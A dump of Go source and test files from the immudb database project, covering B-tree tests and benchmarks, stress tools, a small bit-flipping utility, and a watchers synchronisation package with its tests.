childNodeRef.offset()) sz, err := childNodeRef.size() require.NoError(t, err) require.Positive(t, sz) _, err = childNodeRef.setTs(root.ts()) require.NoError(t, err) childNodeRef.off = -1 _, _, err = childNodeRef.insert(nil) require.ErrorIs(t, err, singleapp.ErrNegativeOffset) _, _, _, err = childNodeRef.get(nil) require.ErrorIs(t, err, singleapp.ErrNegativeOffset) _, _, _, err = childNodeRef.getBetween(nil, 1, 1) require.ErrorIs(t, err, singleapp.ErrNegativeOffset) _, _, err = childNodeRef.history(nil, 0, true, 1) require.ErrorIs(t, err, singleapp.ErrNegativeOffset) _, _, _, err = childNodeRef.findLeafNode(nil, nil, 0, nil, true) require.ErrorIs(t, err, singleapp.ErrNegativeOffset) _, err = childNodeRef.setTs(root.ts()) require.ErrorIs(t, err, singleapp.ErrNegativeOffset) _, err = childNodeRef.size() require.ErrorIs(t, err, singleapp.ErrNegativeOffset) err = tbtree.Close() require.NoError(t, err) }) } func TestTBTreeSelfHealingHistory(t *testing.T) { dir := t.TempDir() tbtree, err := Open(dir, DefaultOptions()) require.NoError(t, err) err = tbtree.Insert([]byte("k0"), []byte("v0")) require.NoError(t, err) err = tbtree.Insert([]byte("k0"), []byte("v00")) require.NoError(t, err) err = tbtree.Close() require.NoError(t, err) os.RemoveAll(filepath.Join(dir, "history")) tbtree, err = Open(dir, DefaultOptions()) require.NoError(t, err) _, _, err = tbtree.History([]byte("k0"), 0, true, 2) require.ErrorIs(t, err, ErrKeyNotFound) err = tbtree.Close() require.NoError(t, err) tbtree, err = Open(dir, DefaultOptions()) require.NoError(t, err) err = tbtree.Close() require.NoError(t, err) } func TestTBTreeSelfHealingNodes(t *testing.T) { dir := t.TempDir() tbtree, err := Open(dir, DefaultOptions()) require.NoError(t, err) err = tbtree.Insert([]byte("k0"), []byte("v0")) require.NoError(t, err) err = tbtree.Close() require.NoError(t, err) os.RemoveAll(filepath.Join(dir, "nodes")) tbtree, err = Open(dir, DefaultOptions()) require.NoError(t, err) _, _, _, err = tbtree.Get([]byte("k0")) require.ErrorIs(t, err, ErrKeyNotFound) err = tbtree.Close() require.NoError(t, err) tbtree, err = Open(dir, DefaultOptions()) require.NoError(t, err) err = tbtree.Close() require.NoError(t, err) } func TestTBTreeIncreaseTs(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions().WithFlushThld(2)) require.NoError(t, err) require.Equal(t, uint64(0), tbtree.Ts()) err = tbtree.Insert([]byte("k0"), []byte("v0")) require.NoError(t, err) require.Equal(t, uint64(1), tbtree.Ts()) err = tbtree.IncreaseTs(tbtree.Ts() - 1) require.ErrorIs(t, err, ErrIllegalArguments) err = tbtree.IncreaseTs(tbtree.Ts()) require.ErrorIs(t, err, ErrIllegalArguments) err = tbtree.IncreaseTs(tbtree.Ts() + 1) require.NoError(t, err) err = tbtree.IncreaseTs(tbtree.Ts() + 1) require.NoError(t, err) require.Equal(t, uint64(3), tbtree.Ts()) for i := 1; i < 1_000; i++ { err = tbtree.Insert([]byte(fmt.Sprintf("key%d", i)), []byte("v0")) require.NoError(t, err) } err = tbtree.IncreaseTs(tbtree.Ts() - 1) require.ErrorIs(t, err, ErrIllegalArguments) err = tbtree.IncreaseTs(tbtree.Ts()) require.ErrorIs(t, err, ErrIllegalArguments) err = tbtree.IncreaseTs(tbtree.Ts() + 1) require.NoError(t, err) err = tbtree.Insert([]byte(fmt.Sprintf("key%d", 1000)), []byte("v0")) require.NoError(t, err) err = tbtree.IncreaseTs(tbtree.Ts() + 1) require.NoError(t, err) err = tbtree.Close() require.NoError(t, err) err = tbtree.IncreaseTs(tbtree.Ts() + 1) require.ErrorIs(t, err, ErrAlreadyClosed) } func TestTBTreeFlushAfterIncreaseTs(t *testing.T) { dir := t.TempDir() t.Cleanup(func() { os.RemoveAll(dir) }) tbtree, err := Open(dir, DefaultOptions()) require.NoError(t, err) t.Run("increase ts to empty tree", func(t *testing.T) { err = tbtree.IncreaseTs(100) require.NoError(t, err) _, _, err = tbtree.Flush() require.NoError(t, err) err = tbtree.Close() require.NoError(t, err) tbtree, err = Open(dir, DefaultOptions()) require.NoError(t, err) require.Equal(t, tbtree.Ts(), uint64(100)) }) insertValues := func(n int) { for i := 0; i < n; i++ { var buf [4]byte binary.BigEndian.PutUint32(buf[:], uint32(i)) err := tbtree.Insert( buf[:], buf[:], ) require.NoError(t, err) } } t.Run("increase ts after insertions", func(t *testing.T) { insertValues(10) require.Equal(t, uint64(110), tbtree.Ts()) err := tbtree.IncreaseTs(200) require.NoError(t, err) _, _, err = tbtree.Flush() require.NoError(t, err) err = tbtree.Close() require.NoError(t, err) tbtree, err = Open(dir, DefaultOptions()) require.NoError(t, err) require.Equal(t, uint64(200), tbtree.Ts()) ln, isLeaf := tbtree.root.(*leafNode) require.True(t, isLeaf) require.Equal(t, uint64(200), ln.ts()) require.Len(t, ln.values, 10) for _, v := range ln.values { require.Less(t, v.timedValue().Ts, ln.ts()) } }) t.Run("increase ts after more insertions", func(t *testing.T) { insertValues(1000) require.Equal(t, uint64(1200), tbtree.Ts()) err := tbtree.IncreaseTs(2500) require.NoError(t, err) _, _, err = tbtree.Flush() require.NoError(t, err) err = tbtree.Close() require.NoError(t, err) tbtree, err = Open(dir, DefaultOptions()) require.NoError(t, err) require.Equal(t, uint64(2500), tbtree.Ts()) nd, isInner := tbtree.root.(*innerNode) require.True(t, isInner) for _, child := range nd.nodes { require.Less(t, child.ts(), nd.ts()) } }) } func BenchmarkRandomInsertion(b *testing.B) { seed := rand.NewSource(time.Now().UnixNano()) rnd := rand.New(seed) for i := 0; i < b.N; i++ { opts := DefaultOptions(). WithCacheSize(10_000). WithFlushThld(100_000). WithSyncThld(1_000_000) tbtree, _ := Open(b.TempDir(), opts) kCount := 1_000_000 for i := 0; i < kCount; i++ { k := make([]byte, 8) binary.BigEndian.PutUint32(k, rnd.Uint32()) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i)) tbtree.Insert(k, v) } tbtree.Close() } } func BenchmarkRandomRead(b *testing.B) { seed := rand.NewSource(time.Now().UnixNano()) rnd := rand.New(seed) opts := DefaultOptions(). WithCacheSize(100_000). WithFlushThld(100_000) tbtree, err := Open(b.TempDir(), opts) require.NoError(b, err) kCount := 1_000_000 for i := 0; i < kCount; i++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(i)) v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i)) tbtree.Insert(k, v) } b.ResetTimer() for i := 0; i < b.N; i++ { k := make([]byte, 8) binary.BigEndian.PutUint64(k, rnd.Uint64()%uint64(kCount)) tbtree.Get(k) } tbtree.Close() } func BenchmarkAscendingBulkInsertion(b *testing.B) { opts := DefaultOptions(). WithCacheSize(100_000). WithFlushThld(100_000). WithSyncThld(1_000_000) tbtree, err := Open(b.TempDir(), opts) require.NoError(b, err) defer tbtree.Close() kBulkCount := 1000 kBulkSize := 1000 ascMode := true for i := 0; i < b.N; i++ { err = bulkInsert(tbtree, kBulkCount, kBulkSize, ascMode) require.NoError(b, err) } } func BenchmarkDescendingBulkInsertion(b *testing.B) { opts := DefaultOptions(). WithCacheSize(10_000). WithFlushThld(100_000). WithSyncThld(1_000_000) tbtree, err := Open(b.TempDir(), opts) require.NoError(b, err) defer tbtree.Close() kBulkCount := 1000 kBulkSize := 1000 ascMode := false for i := 0; i < b.N; i++ { err = bulkInsert(tbtree, kBulkCount, kBulkSize, ascMode) require.NoError(b, err) } } func bulkInsert(tbtree *TBtree, bulkCount, bulkSize int, asc bool) error { seed := rand.NewSource(time.Now().UnixNano()) rnd := rand.New(seed) kvs := make([]*KVT, bulkSize) for i := 0; i < bulkCount; i++ { for j := 0; j < bulkSize; j++ { key := make([]byte, 8) if asc { binary.BigEndian.PutUint64(key, uint64(i*bulkSize+j)) } else { binary.BigEndian.PutUint64(key, uint64((bulkCount-i)*bulkSize-j)) } value := make([]byte, 32) rnd.Read(value) kvs[j] = &KVT{K: key, V: value} } err := tbtree.BulkInsert(kvs) if err != nil { return err } } return nil } func BenchmarkRandomBulkInsertion(b *testing.B) { seed := rand.NewSource(time.Now().UnixNano()) rnd := rand.New(seed) for i := 0; i < b.N; i++ { opts := DefaultOptions(). WithCacheSize(1000). WithFlushThld(100_000). WithSyncThld(1_000_000). WithFlushBufferSize(DefaultFlushBufferSize * 4) tbtree, err := Open(b.TempDir(), opts) require.NoError(b, err) kBulkCount := 1000 kBulkSize := 1000 kvs := make([]*KVT, kBulkSize) for i := 0; i < kBulkCount; i++ { for j := 0; j < kBulkSize; j++ { k := make([]byte, 32) v := make([]byte, 32) rnd.Read(k) rnd.Read(v) kvs[j] = &KVT{K: k, V: v} } err = tbtree.BulkInsert(kvs) require.NoError(b, err) } tbtree.Close() } } func TestLastUpdateBetween(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) keyUpdatesCount := 32 for i := 0; i < keyUpdatesCount; i++ { err = tbtree.Insert([]byte("key1"), []byte(fmt.Sprintf("value%d", i))) require.NoError(t, err) } _, leaf, off, err := tbtree.root.findLeafNode([]byte("key1"), nil, 0, nil, false) require.NoError(t, err) require.NotNil(t, leaf) require.GreaterOrEqual(t, len(leaf.values), off) _, _, _, err = leaf.values[off].lastUpdateBetween(nil, 1, 0) require.ErrorIs(t, err, ErrIllegalArguments) for i := 0; i < keyUpdatesCount; i++ { for f := i; f < keyUpdatesCount; f++ { _, tx, hc, err := leaf.values[off].lastUpdateBetween(nil, uint64(i+1), uint64(f+1)) require.NoError(t, err) require.Equal(t, uint64(f+1), hc) require.Equal(t, uint64(f+1), tx) } } err = tbtree.Close() require.NoError(t, err) } func TestMultiTimedBulkInsertion(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) t.Run("multi-timed bulk insertion should succeed", func(t *testing.T) { currTs := tbtree.Ts() kvts := []*KVT{ {K: []byte("key1_0"), V: []byte("value1_0")}, {K: []byte("key2_0"), V: []byte("value2_0")}, {K: []byte("key3_0"), V: []byte("value3_0"), T: currTs + 1}, {K: []byte("key4_0"), V: []byte("value4_0"), T: currTs + 1}, {K: []byte("key5_0"), V: []byte("value5_0"), T: currTs + 2}, {K: []byte("key6_0"), V: []byte("value6_0")}, } err = tbtree.BulkInsert(kvts) require.NoError(t, err) for _, kvt := range kvts { v, ts, hc, err := tbtree.Get(kvt.K) require.NoError(t, err) require.Equal(t, kvt.V, v) require.Equal(t, uint64(1), hc) if kvt.T == 0 { //zero-valued timestamps should be associated with current time plus one require.Equal(t, currTs+1, ts) } else { require.Equal(t, kvt.T, ts) } } // root's ts should match the greatest inserted timestamp require.Equal(t, currTs+2, tbtree.Ts()) }) t.Run("bulk-insertion of the same key should be possible with increasing timestamp", func(t *testing.T) { currTs := tbtree.Ts() kvts := []*KVT{ {K: []byte("key1_1"), V: []byte("value1_1")}, {K: []byte("key1_1"), V: []byte("value2_1"), T: currTs + 2}, } err = tbtree.BulkInsert(kvts) require.NoError(t, err) v, ts, hc, err := tbtree.Get([]byte("key1_1")) require.NoError(t, err) require.Equal(t, []byte("value2_1"), v) require.Equal(t, uint64(2), hc) require.Equal(t, currTs+2, ts) // root's ts should match the greatest inserted timestamp require.Equal(t, currTs+2, tbtree.Ts()) }) t.Run("bulk-insertion of the same key should not be possible with non-increasing timestamp", func(t *testing.T) { _, _, err = tbtree.Flush() require.NoError(t, err) initialTs := tbtree.Ts() err = tbtree.Insert([]byte("key1_2"), []byte("key1_2")) require.NoError(t, err) currTs := tbtree.Ts() kvts := []*KVT{ {K: []byte("key2_2"), V: []byte("value2_2"), T: currTs + 2}, {K: []byte("key2_2"), V: []byte("value3_2")}, } err = tbtree.BulkInsert(kvts) require.ErrorIs(t, err, ErrIllegalArguments) // rollback to latest snapshot should be made if insertion fails _, _, _, err := tbtree.Get([]byte("key1_2")) require.ErrorIs(t, err, ErrKeyNotFound) require.Equal(t, initialTs, tbtree.Ts()) }) t.Run("bulk-insertion of the same key timestamp equal to current timestamp of root should not be possible", func(t *testing.T) { _, _, err = tbtree.Flush() require.NoError(t, err) err = tbtree.Insert([]byte("key3_1"), []byte("value3_1")) require.NoError(t, err) currTs := tbtree.Ts() kvts := []*KVT{ {K: []byte("key3_2"), V: []byte("value3_2"), T: currTs}, } err = tbtree.BulkInsert(kvts) require.ErrorIs(t, err, ErrIllegalArguments) }) err = tbtree.Close() require.NoError(t, err) } func TestGetWithPrefix(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) defer tbtree.Close() key1 := []byte{1, 82, 46, 0, 0, 0, 1} key2 := []byte{2, 82, 46, 0, 0, 0, 1} err = tbtree.Insert(key1, []byte("value")) require.NoError(t, err) err = tbtree.Insert(key2, []byte("value")) require.NoError(t, err) t.Run("get with prefix over tbtree", func(t *testing.T) { _, _, _, _, err = tbtree.GetWithPrefix(key1, key1) require.ErrorIs(t, err, ErrKeyNotFound) k, _, _, _, err := tbtree.GetWithPrefix(key1, nil) require.NoError(t, err) require.Equal(t, key1, k) _, _, _, _, err = tbtree.GetWithPrefix(key2, key2) require.ErrorIs(t, err, ErrKeyNotFound) k, _, _, _, err = tbtree.GetWithPrefix(key2, nil) require.NoError(t, err) require.Equal(t, key2, k) }) t.Run("get with prefix over a snapshot", func(t *testing.T) { snap, err := tbtree.Snapshot() require.NoError(t, err) _, _, _, _, err = snap.GetWithPrefix(key1, key1) require.ErrorIs(t, err, ErrKeyNotFound) k, _, _, _, err := snap.GetWithPrefix(key1, nil) require.NoError(t, err) require.Equal(t, key1, k) _, _, _, _, err = snap.GetWithPrefix(key2, key2) require.ErrorIs(t, err, ErrKeyNotFound) k, _, _, _, err = snap.GetWithPrefix(key2, nil) require.NoError(t, err) require.Equal(t, key2, k) }) } ================================================ FILE: embedded/tools/bitflip.py ================================================ #!/usr/bin/env python3 """Toggle the bit at the specified offset. Syntax: filename bit-offset""" import sys fname = sys.argv[1] # Convert bit offset to bytes + leftover bits bitpos = int(sys.argv[2]) nbytes, nbits = divmod(bitpos, 8) # Open in read+write, binary mode; read 1 byte fp = open(fname, "r+b") fp.seek(nbytes, 0) c = fp.read(1) # Toggle bit at byte position `nbits` toggled = bytes( [ ord(c)^(1< 1 && *kLen < 4 { binary.BigEndian.PutUint16(k, uint16(i)) } if *kLen > 3 && *kLen < 8 { binary.BigEndian.PutUint32(k, uint32(i)) } if *kLen > 7 { binary.BigEndian.PutUint64(k, uint64(i)) } } if *rndValues { rand.Read(v) } entries[t][i] = &store.EntrySpec{Key: k, Value: v} } } wgInit.Done() wgStart.Wait() fmt.Printf("\r\nCommitter %d is running...\r\n", id) ids := make([]uint64, *txCount) for t := 0; t < *txCount; t++ { tx, err := immuStore.NewWriteOnlyTx(context.Background()) if err != nil { panic(err) } for _, e := range entries[t] { err = tx.Set(e.Key, e.Metadata, e.Value) if err != nil { panic(err) } } txhdr, err := tx.Commit(context.Background()) if err != nil { panic(err) } ids[t] = txhdr.ID if *printAfter > 0 && t%*printAfter == 0 { fmt.Print(".") } time.Sleep(time.Duration(*txDelay) * time.Millisecond) } wgWork.Done() fmt.Printf("\r\nCommitter %d done with commits!\r\n", id) if *txRead { fmt.Printf("Starting committed tx against input kv data by committer %d...\r\n", id) txHolder, err := txHolderPool.Alloc() if err != nil { panic(err) } defer txHolderPool.Release(txHolder) for i := range ids { immuStore.ReadTx(ids[i], true, txHolder) for ei, e := range txHolder.Entries() { if !bytes.Equal(e.Key(), entries[i][ei].Key) { panic(fmt.Errorf("committed tx key does not match input values")) } val, err := immuStore.ReadValue(e) if err != nil { panic(err) } if !bytes.Equal(val, entries[i][ei].Value) { panic(fmt.Errorf("committed tx value does not match input values")) } } } fmt.Printf("All committed txs successfully verified against input kv data by committer %d!\r\n", id) } wgEnded.Done() fmt.Printf("Committer %d successfully ended!\r\n", id) }(c) } wgInit.Wait() wgStart.Done() start := time.Now() wgWork.Wait() elapsed := time.Since(start) fmt.Printf("\r\nAll committers %d have successfully completed their work within %s!\r\n", *committers, elapsed) wgEnded.Wait() if *txLinking || *kvInclusion { fmt.Println("Starting full scan to verify linear cryptographic linking...") start := time.Now() txHolder, err := txHolderPool.Alloc() if err != nil { panic(err) } defer txHolderPool.Release(txHolder) txReader, err := immuStore.NewTxReader(1, false, txHolder) if err != nil { panic(err) } verifiedTxs := 0 for { tx, err := txReader.Read() if err != nil { if errors.Is(err, store.ErrNoMoreEntries) { break } panic(err) } entrySpecDigest, err := store.EntrySpecDigestFor(tx.Header().Version) if err != nil { panic(err) } if *kvInclusion { for _, e := range tx.Entries() { proof, err := tx.Proof(e.Key()) if err != nil { panic(err) } val, err := immuStore.ReadValue(e) if err != nil { panic(err) } kv := &store.EntrySpec{Key: e.Key(), Value: val} verifies := htree.VerifyInclusion(proof, entrySpecDigest(kv), tx.Header().Eh) if !verifies { panic("kv does not verify") } } } verifiedTxs++ if *printAfter > 0 && verifiedTxs%*printAfter == 0 { fmt.Print(".") } } elapsed := time.Since(start) fmt.Printf("\r\nAll transactions %d successfully verified in %s!\r\n", verifiedTxs, elapsed) } fmt.Println("Waiting for indexing...") time.Sleep(time.Duration(*waitForIndexing) * time.Millisecond) fmt.Println("Done") return } panic("please specify a valid mode of operation: interactive|auto") } ================================================ FILE: embedded/tools/stress_tool_sql/stress_tool_sql.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "context" "flag" "log" "math/rand" "sync" "time" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" ) type Entry struct { id int value []byte } type cfg struct { dataDir string parallelIO int fileSize int compressionFormat int compressionLevel int synced bool openedLogFiles int committers int kvCount int vLen int rndValues bool readers int rdCount int readDelay int readPause int } func parseConfig() (c cfg) { flag.StringVar(&c.dataDir, "dataDir", "data", "data directory") flag.IntVar(&c.parallelIO, "parallelIO", 1, "number of parallel IO") flag.IntVar(&c.fileSize, "fileSize", 1<<26, "file size up to which a new ones are created") cFormat := flag.String("compressionFormat", "no-compression", "one of: no-compression, flate, gzip, lzw, zlib") cLevel := flag.String("compressionLevel", "best-speed", "one of: best-speed, best-compression, default-compression, huffman-only") flag.BoolVar(&c.synced, "synced", false, "strict sync mode - no data lost") flag.IntVar(&c.openedLogFiles, "openedLogFiles", 10, "number of maximum number of opened files per each log type") flag.IntVar(&c.committers, "committers", 10, "number of concurrent committers") flag.IntVar(&c.kvCount, "kvCount", 1_000, "number of kv entries per tx") flag.IntVar(&c.vLen, "vLen", 32, "value length (bytes)") flag.BoolVar(&c.rndValues, "rndValues", true, "values are randomly generated") flag.IntVar(&c.readers, "readers", 0, "number of concurrent readers") flag.IntVar(&c.rdCount, "rdCount", 100, "number of reads for each readers") flag.IntVar(&c.readDelay, "readDelay", 100, "Readers start delay (ms)") flag.IntVar(&c.readPause, "readPause", 0, "Readers pause at every cycle") flag.Parse() switch *cFormat { case "no-compression": c.compressionFormat = appendable.NoCompression case "flate": c.compressionFormat = appendable.FlateCompression case "gzip": c.compressionFormat = appendable.GZipCompression case "lzw": c.compressionFormat = appendable.LZWCompression case "zlib": c.compressionFormat = appendable.ZLibCompression default: panic("invalid compression format") } switch *cLevel { case "best-speed": c.compressionLevel = appendable.BestSpeed case "best-compression": c.compressionLevel = appendable.BestCompression case "default-compression": c.compressionLevel = appendable.DefaultCompression case "huffman-only": c.compressionLevel = appendable.HuffmanOnly default: panic("invalid compression level") } return } func main() { c := parseConfig() log.Println("Opening Immutable Transactional Key-Value Log...") opts := store.DefaultOptions(). WithSynced(c.synced). WithMaxConcurrency(c.committers). WithMaxIOConcurrency(c.parallelIO). WithFileSize(c.fileSize). WithVLogMaxOpenedFiles(c.openedLogFiles). WithTxLogMaxOpenedFiles(c.openedLogFiles). WithCommitLogMaxOpenedFiles(c.openedLogFiles). WithCompressionFormat(c.compressionFormat). WithCompresionLevel(c.compressionLevel). WithMaxValueLen(1 << 26) // 64Mb dataStore, err := store.Open(c.dataDir, opts) if err != nil { panic(err) } defer func() { for name, store := range map[string]*store.ImmuStore{"data": dataStore} { store.Close() if err != nil { log.Printf("\r\nBacking store %s closed with error: %v\r\n", name, err) panic(err) } log.Printf("\r\nImmutable Transactional Key-Value Log %s successfully closed!\r\n", name) } }() for name, store := range map[string]*store.ImmuStore{"data": dataStore} { log.Printf("Store %s with %d Txs successfully opened!\r\n", name, store.TxCount()) } engine, err := sql.NewEngine(dataStore, sql.DefaultOptions().WithPrefix([]byte("sql"))) if err != nil { panic(err) } log.Printf("SQL engine successfully initialized!\r\n") _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE defaultdb;", map[string]interface{}{}) if err != nil { panic(err) } _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE defaultdb;", map[string]interface{}{}) if err != nil { panic(err) } log.Printf("Creating tables\r\n") _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS entries (id INTEGER, value BLOB, ts INTEGER, PRIMARY KEY id);", map[string]interface{}{}) if err != nil { panic(err) } // incremental id generator ids := make(chan int) go func() { for i := 1; ; i++ { ids <- i } }() entries := make(chan Entry) rand.Seed(time.Now().UnixNano()) for i := 0; i < c.committers; i++ { go func(id int) { log.Printf("Worker %d is generating rows...\r\n", id) for i := 0; i < c.kvCount; i++ { id := <-ids v := make([]byte, c.vLen) if c.rndValues { rand.Read(v) } entries <- Entry{id: id, value: v} } }(i) } wg := sync.WaitGroup{} for i := 0; i < c.committers; i++ { wg.Add(1) go func(id int) { log.Printf("Committer %d is inserting data...\r\n", id) for i := 0; i < c.kvCount; i++ { entry := <-entries _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO entries (id, value, ts) VALUES (@id, @value, now());", map[string]interface{}{"id": entry.id, "value": entry.value}) if err != nil { panic(err) } } wg.Done() log.Printf("Committer %d done...\r\n", id) }(i) } for i := 0; i < c.readers; i++ { wg.Add(1) go func(id int) { if c.readDelay > 0 { // give time to populate db time.Sleep(time.Duration(c.readDelay) * time.Millisecond) } log.Printf("Reader %d is reading data\n", id) for i := 1; i <= c.rdCount; i++ { r, err := engine.Query(context.Background(), nil, "SELECT count() FROM entries where id<=@i;", map[string]interface{}{"i": i}) if err != nil { log.Printf("Error querying val %d: %s", i, err.Error()) panic(err) } ret, err := r.Read(context.Background()) if err != nil { log.Printf("Error reading val %d: %s", i, err.Error()) panic(err) } r.Close() n := ret.ValuesBySelector["(defaultdb.entries.col0)"].RawValue().(uint64) if n != uint64(i) { log.Printf("Reader %d read %d vs %d", id, n, i) } if c.readPause > 0 { time.Sleep(time.Duration(c.readPause) * time.Millisecond) } } wg.Done() log.Printf("Reader %d out\n", id) }(i) } wg.Wait() log.Printf("All committers done...\r\n") r, err := engine.Query(context.Background(), nil, "SELECT count() FROM entries;", map[string]interface{}{}) if err != nil { panic(err) } row, err := r.Read(context.Background()) if err != nil { panic(err) } count := row.ValuesBySelector["(defaultdb.entries.col0)"].RawValue().(uint64) log.Printf("- Counted %d entries\n", count) defer func() { err := r.Close() if err != nil { panic("reader closed with error") } }() } ================================================ FILE: embedded/watchers/watchers.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package watchers import ( "context" "errors" "sync" ) var ErrMaxWaitessLimitExceeded = errors.New("watchers: max waiting limit exceeded") var ErrAlreadyClosed = errors.New("watchers: already closed") var ErrIllegalState = errors.New("watchers: illegal state") type WatchersHub struct { wpoints map[uint64]*waitingPoint doneUpto uint64 // no-wait on lower or equal values maxWaiting int waiting int closed bool mutex sync.Mutex } type waitingPoint struct { t uint64 ch chan struct{} count int } func New(doneUpto uint64, maxWaiting int) *WatchersHub { return &WatchersHub{ wpoints: make(map[uint64]*waitingPoint, 0), doneUpto: doneUpto, maxWaiting: maxWaiting, } } func (w *WatchersHub) Status() (doneUpto uint64, waiting int, err error) { w.mutex.Lock() defer w.mutex.Unlock() if w.closed { return 0, 0, ErrAlreadyClosed } return w.doneUpto, w.waiting, nil } func (w *WatchersHub) RecedeTo(t uint64) error { w.mutex.Lock() defer w.mutex.Unlock() if w.closed { return ErrAlreadyClosed } if w.doneUpto < t { return ErrIllegalState } w.doneUpto = t return nil } func (w *WatchersHub) DoneUpto(t uint64) error { w.mutex.Lock() defer w.mutex.Unlock() if w.closed { return ErrAlreadyClosed } if w.doneUpto >= t { return nil } for i := w.doneUpto + 1; i <= t; i++ { if w.waiting == 0 { break } wp, waiting := w.wpoints[i] if waiting { close(wp.ch) w.waiting -= wp.count wp.count = 0 delete(w.wpoints, i) } } w.doneUpto = t return nil } func (w *WatchersHub) WaitFor(ctx context.Context, t uint64) error { w.mutex.Lock() defer w.mutex.Unlock() if w.closed { return ErrAlreadyClosed } if w.doneUpto >= t { return nil } if w.waiting == w.maxWaiting { return ErrMaxWaitessLimitExceeded } wp, waiting := w.wpoints[t] if !waiting { wp = &waitingPoint{t: t, ch: make(chan struct{})} w.wpoints[t] = wp } wp.count++ w.waiting++ w.mutex.Unlock() cancelled := false select { case <-wp.ch: break case <-ctx.Done(): cancelled = true } w.mutex.Lock() if w.closed { return ErrAlreadyClosed } if cancelled { // `wp.count` will be zeroed if the `t` point was already processed in // `DoneUpTo` call (a situation when both cancellation and call to `DoneUpTo` // happen simultaneously), otherwise its necessary to cleanup after we stopped waiting. if wp.count > 0 { w.waiting-- wp.count-- if wp.count == 0 { // This was the last `WaitFor`` caller waiting for the point `t``, // cleanup the `w.wpoints` array to avoid holding idle entries there. close(wp.ch) delete(w.wpoints, t) } } return ctx.Err() } return nil } func (w *WatchersHub) Close() error { w.mutex.Lock() defer w.mutex.Unlock() if w.closed { return ErrAlreadyClosed } w.closed = true for _, wp := range w.wpoints { close(wp.ch) w.waiting -= wp.count wp.count = 0 } return nil } ================================================ FILE: embedded/watchers/watchers_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package watchers import ( "context" "errors" "sync" "testing" "time" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestWatchersHub(t *testing.T) { waitessCount := 1_000 wHub := New(0, waitessCount*2) wHub.DoneUpto(0) err := wHub.RecedeTo(1) require.ErrorIs(t, err, ErrIllegalState) ctx, cancel := context.WithTimeout(context.Background(), 100*time.Millisecond) defer cancel() err = wHub.WaitFor(ctx, 1) require.ErrorIs(t, err, context.DeadlineExceeded) doneUpto, waiting, err := wHub.Status() require.NoError(t, err) require.Equal(t, uint64(0), doneUpto) require.Equal(t, 0, waiting) var wg sync.WaitGroup wg.Add(waitessCount * 2) for it := 0; it < 2; it++ { for i := 1; i <= waitessCount; i++ { go func(i uint64) { defer wg.Done() err := wHub.WaitFor(context.Background(), i) require.NoError(t, err) }(uint64(i)) } } time.Sleep(10 * time.Millisecond) err = wHub.WaitFor(context.Background(), uint64(waitessCount*2+1)) require.ErrorIs(t, err, ErrMaxWaitessLimitExceeded) done := make(chan struct{}) go func(done <-chan struct{}) { id := uint64(1) for { select { case <-time.Tick(1 * time.Millisecond): { err := wHub.DoneUpto(id + 2) require.NoError(t, err) id++ } case <-done: { return } } } }(done) wg.Wait() done <- struct{}{} if t.Failed() { t.FailNow() } err = wHub.WaitFor(context.Background(), 5) require.NoError(t, err) err = wHub.RecedeTo(5) require.NoError(t, err) wg.Add(1) go func() { defer wg.Done() err := wHub.WaitFor(context.Background(), uint64(waitessCount)+1) if !errors.Is(err, ErrAlreadyClosed) { require.NoError(t, err) } }() time.Sleep(1 * time.Millisecond) err = wHub.Close() require.NoError(t, err) wg.Wait() if t.Failed() { t.FailNow() } err = wHub.WaitFor(context.Background(), 0) require.ErrorIs(t, err, ErrAlreadyClosed) err = wHub.DoneUpto(0) require.ErrorIs(t, err, ErrAlreadyClosed) err = wHub.RecedeTo(0) require.ErrorIs(t, err, ErrAlreadyClosed) _, _, err = wHub.Status() require.ErrorIs(t, err, ErrAlreadyClosed) err = wHub.Close() require.ErrorIs(t, err, ErrAlreadyClosed) } func TestSimultaneousCancellationAndNotification(t *testing.T) { wHub := New(0, 30) const maxIterations = 100 wg := sync.WaitGroup{} // Spawn waitees for i := 0; i < 2; i++ { wg.Add(1) go func(i int) { defer wg.Done() for j := uint64(0); j < maxIterations; j++ { func() { ctx, cancel := context.WithTimeout(context.Background(), time.Millisecond) defer cancel() doneUpTo, _, err := wHub.Status() require.NoError(t, err) err = wHub.WaitFor(ctx, j) if errors.Is(err, context.DeadlineExceeded) { // Check internal invariant of the wHub // Since we got cancel request it must only happen // as long as we did not already cross the waiting point require.Less(t, doneUpTo, j) } else { require.NoError(t, err) } }() } }(i) } // Producer for j := uint64(1); j < maxIterations; j++ { wHub.DoneUpto(j) time.Sleep(time.Millisecond) } wg.Wait() assert.Zero(t, wHub.waiting) assert.Empty(t, wHub.wpoints) } ================================================ FILE: 